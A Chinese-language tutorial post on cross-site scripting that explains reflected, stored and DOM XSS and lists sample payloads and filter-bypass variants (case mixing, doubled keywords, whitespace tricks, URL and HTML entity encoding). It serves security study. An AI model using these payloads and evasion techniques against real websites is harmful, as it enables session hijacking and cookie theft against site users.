当前位置: 首页 > article >正文

zyNo.24

xss漏洞

1.xss漏洞的基础概念

(1)原理

XSS(跨站脚本攻击)主要基于JavaScript语言进行恶意攻击,利用网页开发时web应用程序对用户输入过滤不足导致将恶意代码注入到网页中,使用户浏览器加载并执行恶意代码,通常是JavaScript类型,也包括java、vbs、flash、html等(因为浏览器当中有JavaScript解析器,浏览器不会判断代码是否恶意,只要符合语法规则,就直接解析了。)

(2)危害

窃取cokie(预防方式将cookie中的httponly属性设为ture参考文章如何将cookie中httponly属性设置为true?(预防XSS攻击)-CSDN博客),未授权操作(例如:X劫持会话,刷流量,执行弹窗广告,还能记录用户的键盘输入),传播蠕虫病毒

2.XSS漏洞分类

(1) 反射型

  • 定义:攻击者通过构造包含恶意脚本的URL或表单提交数据,将恶意代码通过请求传递给服务器,如果服务器端未对URL携带的参数做判断和过滤,直接返回响应页面浏览器,最终被浏览器执行。

  • 特点:

    • 即时性(恶意代码不存储在服务器端)

    • 攻击通常需要用户点击恶意链接或提交恶意表单。

  • 攻击流程:(浏览器---->后端---->浏览器)

    1. 攻击者构造包含恶意脚本的链接或表单。

    2. 用户点击链接或提交表单,恶意代码被发送到服务器。

    3. 服务器将恶意代码反射回用户的浏览器。

    4. 浏览器解析并执行恶意代码。

  • 常见场景:网站搜索框、登录页面、表单提交等。

(2) 存储型

  • 定义:攻击者将恶意脚本存储在服务器端(如数据库或文件中),当其他用户访问相关页面时,恶意代码被加载到用户的浏览器中并执行。

  • 特点:

    • 持久性(恶意代码存储在服务器端)

    • 危害大范围广(所有访问该页面的用户都可能受到攻击)

  • 攻击流程:(浏览器—>后端—>数据库—>后端—>浏览器)

    1. 攻击者将恶意脚本提交到服务器(如在论坛、留言板或评论中)。

    2. 服务器将恶意脚本存储在数据库或文件中。

    3. 其他用户访问该页面时,服务器加载并返回包含恶意脚本的内容。

    4. 用户的浏览器解析并执行恶意代码。

  • 常见场景:论坛、博客、留言板、评论区等。

(3)DOM(不好利用好)

首先了解首先什么是DOM? 什么又是DOM树,参考资料什么是DOM?你了解DOM树吗?-CSDN博客文章浏览阅读4.4w次,点赞136次,收藏406次。在找工作的过程中,看到了招聘信息上有写这么一条信息:掌握WEB前端开发技术:JavaScript(含ES6)、HTML、CSS、DOM等看见这条信息我心里安心了不少,都是一些基础问题,但是乍一看DOM,脑子有点短路了,上网查了下脑子清醒了。什么DOMDOM(Document Object Model)即文档对象模型,是W3C制定的标准接口规范,是一种处理HTML和XML文件的标准API。DOM提供了对整个文档的访问模型,将文档作为一个树形结构,树的每个结点表示了一个HTML标签或标签内的文本项。_dom树 https://blog.csdn.net/wei1273356078/article/details/106543967?fromshare=blogdetail&sharetype=blogdetail&sharerId=106543967&sharerefer=PC&sharesource=2401_88743143&sharefrom=from_link

就是为了让JavaScript可以对文档中的标签、属性、内容等进行 访增删改 操作,具体示例看我另一篇文章DOM让JavaScript可以对文档中的标签、属性、内容等进行 访增删改 操作-CSDN博客首先,我们有一个简单的 HTML 文件。 https://blog.csdn.net/2401_88743143/article/details/145619198?sharetype=blogdetail&sharerId=145619198&sharerefer=PC&sharesource=2401_88743143&sharefrom=mp_from_link

  • 定义:DOM(文档对象模型,)攻击者通过客户端JavaScript代码动态修改页面的DOM结构,从而插入并执行恶意代码。

  • 特点:

    • 不依赖服务器端的响应,恶意代码完全由客户端JavaScript执行。

    • 不会被传统的WAF检测到。

  • 攻击流程:

    1. 攻击者构造包含恶意参数的URL。

    2. 用户访问该URL,服务器返回正常的HTML页面。

    3. 页面中的JavaScript代码读取URL参数并动态修改DOM结构。

    4. 浏览器解析并执行插入的恶意代码。

  • 常见场景:页面中包含动态读取URL参数并修改DOM的JavaScript代码。

总结

三种XSS攻击类型的主要区别在于恶意代码的存储和执行方式:

反射型XSS:即时反射,不存储,依赖用户交互。

存储型XSS:持久存储,影响范围广。

DOM型XSS:完全基于客户端,不经过服务器处理。

3.HTML中XSS常利用事件

很多时候,我们并不能直接插入Script标签去进行XSS,这时我们就要想办法借助其他标签的事件,如img,audio等标签。例如<img src='xxxx' οnerrοr='alert (1)' />图片地址加载失败,触发onerror标签,这个标签里的代码会在图片加载出错时执行。

常用的事件标签:

• onerror:在该标签加载资源出错时会被执行。
• onload:在资源被加载时会被执行。
• onmouseover:在鼠标略过这个元素时会被执行。
• onfocus:当页面的焦点被聚集到这个元素上(如用键进行选择)时会被执行。

其他xss常用标签和触发事件参考资料xss常用标签和触发事件_xss标签-CSDN博客文章浏览阅读986次,点赞5次,收藏17次。img src="x" οnerrοr=document.location=``//www.baidu.com``>html标签中用//可以代替http://(````只有两个``)_xss标签 https://blog.csdn.net/2301_81475812/article/details/137755213?fromshare=blogdetail&sharetype=blogdetail&sharerId=137755213&sharerefer=PC&sharesource=2401_88743143&sharefrom=from_link

4.XSS payload及变形

1.payload构造
(1)利用伪协议(HTML标签的属性值)

<a href="javascript:alert(/xss/)">touch me !< /a>
<img src="javascript:alert('xss')">   #需在IE6测试


(2)利用事件

<img src='./smile.jpg' onmouseover='alert(/xss/)'>
<input type="text" onclick="alert(/xss/)">


(3)利用CSS (只做了解)
行内样式

<div style="background-image:url(javascript:alert(/xss/))">

页内样式

<style>Body{background-image:url(javascript:alert(/xss/))}</style>


(4)利用【<>】构造HTML标签和标签

<h1 style="color:green;">XSS</h1>
<script>alert(/xss/)</script>


2.payload变形
(1)大小写

<iMg sRc='#'Onerror="alert(/xss/)"/>
<a hREf="javaScript:alert(/xss/)">click me </a>

(2)双关键字

<scrscript>alert(/xss/)</scrscript>

(3)【/】代替空格

<img/src='#'onerror='alert(/xss/)'/>


(4)引号
在js当中可以用反引号代替单双引号,在HTML中就不需要。

<img src="#"onerror="alert(/xss/)"/>
<img src='#'onerror='alert(/xss/)'/>
<img src=# onerror=alert(/xss/)/>
<img src="#"onerror=alert('xss')/>
<img src="#"onerror=alert'xss'/>


(5)Tab与回车
在一些位置添加Tab(水平制表符)和回车符来绕过关键字检测

<img src='#'onerror        ='alert(/xss/)'/>
<a href="j     avascript:alert(/xss/)">click me!</a>
<A href="j
avascript:alert(/xss/)">click me!</a>


(6)编码
URL编码
%3Cscript%3Ealert(/xss/)%3C/script%3E
HTML实体编码
a 97
(a) “7”后面还有美式分号“;”
= “1”后面还有美式分号“;”

<a href="j&#97;v&#x61;script:alert(/xss/)">click me!</a>

经典例题:

BUU XSS COURSE 1-CSDN博客文章浏览阅读2.3k次,点赞4次,收藏2次。BUU XSS COURSE 1_buu xss course 1 https://blog.csdn.net/rx3225968517/article/details/131957434?fromshare=blogdetail&sharetype=blogdetail&sharerId=131957434&sharerefer=PC&sharesource=2401_88743143&sharefrom=from_link


http://www.kler.cn/a/544533.html

相关文章:

  • 亚远景-ASPICE 4.0 与 AI 驱动的汽车软件开发:未来趋势与挑战
  • 【前端开发学习笔记16】Vue_9
  • JUnit 4与JUnit 5的差异详解
  • 功率半导体展聚焦 APSME 2025,共探功率半导体发展新征程
  • 硬件电路(11)-电容
  • 什么是科技查新报告
  • Win10/11系统下WSL2+Ubuntu20.04的全流程安装指南(支持安装至 D 盘)
  • 【ISO 14229-1:2023 UDS诊断全量测试用例清单系列:第八节】
  • 【PyTorch项目实战】肿瘤检测:AI辅助诊断(低倍率分割淋巴结 + 高倍率分类肿瘤 + 热图计算T/MLN) + 专家审查
  • vue3读取webrtc-stream 视频流
  • 【DeepSeek】安装流程操作文档
  • 【蓝桥】线性DP--最快洗车时间
  • Docker+Jenkins自动化部署SpringBoot项目【详解git,jdk,maven,ssh配置等各种配置,附有示例+代码】
  • 基于 FPGA 的嵌入式系统硬件逻辑优化技术探究
  • 使用LangChainV3.0加载PDF文件并进行总结
  • Python的秘密基地--[章节16] Python 网络编程
  • 20250213 隨筆 自增id與業務id
  • 基于SpringBoot+ Vue实现在线视频点播系统
  • 提升编程效率,体验智能编程助手—豆包MarsCode一键Apply功能测评
  • ROACH